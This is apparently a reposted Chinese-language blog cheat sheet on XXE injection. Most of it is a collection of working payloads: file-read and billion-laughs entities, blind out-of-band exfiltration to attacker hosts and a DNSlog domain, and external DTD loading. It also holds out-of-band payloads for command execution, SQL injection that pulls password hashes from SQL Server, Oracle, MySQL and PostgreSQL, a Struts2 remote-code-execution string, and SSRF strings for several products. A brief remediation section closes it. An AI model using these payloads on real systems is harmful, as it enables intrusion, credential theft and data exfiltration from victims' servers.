XXE-XML外部实体注入(XML External Entity)

XXE XML外部实体注入(XML External Entity)

XML

XML菜鸟教程
DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成 % 如下:

<!ENTITY % param1 '<!ENTITY % xxe SYSTEM "http://evil/log?%payload;" >'

%也可写为16进制%

XXE的攻击类型

XXE攻击类型 描述
检索文件 定义包含文件内容的外部实体,并在应用程序的响应中返回的实体。
SSRF攻击 根据后端系统的URL定义外部实体的位置。
带外数据 敏感数据从应用程序服务器传输到攻击者控制的系统的位置。
通过错误消息检索数据 攻击者可以在其中触发包含敏感数据的分析错误消息。

漏洞成因

  • php
  • java
  • python

    利用方式

    Content-type:application/xml
    libxml2.9.1及以后,默认不解析外部实体

** 默认支持的协议(不仅限) **
| libxml2| PHP| Java| .NET|
| ----| ----| ----| ----|
| file| file| file| file|
| http| http| http| http|
| ftp| ftp| ftp| ftp|
| | https| https| https|
| | php| jar| |
| | data| netdoc| |
| | glob| mailto| |
| | phar| gopher*| |
| | compress.zlib| | |
| | compress.bzip2| | |

** PHP若开启expect扩展,可以执行系统命令 expect://id **

  • XML实例
<!--?xml version="1.0" ?-->
<userInfo>
 <firstName>John</firstName>
 <lastName>Doe</lastName>
</userInfo>
  • XXE示例
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <lastName>&example;</lastName>
 </userInfo>
  • XXE 文件披露
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
 <lastName>&ent;</lastName>
</userInfo>
  • XXE 拒绝服务
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>
  • XXE 文件包含(读取文件)
<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
  • 本地文件包含盲注
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
  • 访问控制旁路(加载受限资源-PHP示例)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>
  • SSRF
<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
  • 远程攻击-通过外部Xml包含
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>
  • UTF-7范例
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
  • Base64编码
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
  • SOAP示例中的XXE
<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>
  • SVG内部的XXE
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>

高级利用(绕过)

** 本地可使用dnslog,web日志,nc,ftp等方式接收数据 **
| 接收方式 | payload |
|----|----|
| dnslog | http://%file;.dnslog地址/txxe |
| ftp | ftp://你的地址:33/%file; |
| web日志 | http://你的地址/xxe |
| nc | 任何协议,本地监听对应端口即可 |

  • 通过DTD文档引入外部DTD文档
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<c>&b;</c>
//或者
<?xml version="1.0">
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://mark4z5.com/evil.dtd">
%d;
]>
<c>&b;</c>
//DTD内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
  • BYPASS
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"

其它payload

  • Command Execution
    • linux:
    curl http://ip.port.b182oj.ceye.io/`whoami`
    ping `whoami`.ip.port.b182oj.ceye.io
    • windows
    ping %USERNAME%.b182oj.ceye.io
  • SQL Injection
    • SQL Server
    DECLARE @host varchar(1024);
    SELECT @host=(SELECT TOP 1
    master.dbo.fn_varbintohexstr(password_hash)
    FROM sys.sql_logins WHERE name='sa')
    +'.ip.port.b182oj.ceye.io';
    EXEC('master..xp_dirtree
    "\\'+@host+'\foobar$"');
    • Oracle
    SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
    SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
    SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
    SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
    SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
    • MySQL
    SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
    • PostgreSQL
    DROP TABLE IF EXISTS table_output;
    CREATE TABLE table_output(content text);
    CREATE OR REPLACE FUNCTION temp_function()
    RETURNS VOID AS $
    DECLARE exec_cmd TEXT;
    DECLARE query_result TEXT;
    BEGIN
    SELECT INTO query_result (SELECT passwd
    FROM pg_shadow WHERE usename='postgres');
    exec_cmd := E'COPY table_output(content)
    FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
    EXECUTE exec_cmd;
    END;
    $ LANGUAGE plpgsql SECURITY DEFINER;
    SELECT temp_function();
  • Others
    • Struts2
    xx.action?redirect:http://ip.port.b182oj.ceye.io/%25{3*4}
    xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
    • FFMpeg
    #EXTM3U
    #EXT-X-MEDIA-SEQUENCE:0
    #EXTINF:10.0,
    concat:http://ip.port.b182oj.ceye.io
    #EXT-X-ENDLIST
    • Weblogic
    xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
    • ImageMagick
    push graphic-context
    viewbox 0 0 640 480
    fill 'url(http://ip.port.b182oj.ceye.io)'
    pop graphic-context
    • Resin
    xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.b182oj.ceye.io/ssrf
    • Discuz
    http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo

    修复方法

    方案一、使用开发语言提供的禁用外部实体的方法
  • PHP:
    libxml_disable_entity_loader(true);
  • JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
  • Python:
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 其他语言
    https://owasp.org/www-project-cheat-sheets/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
    方案二、过滤用户提交的XML数据
    关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

猜你喜欢

转载自www.cnblogs.com/mrhonest/p/12214658.html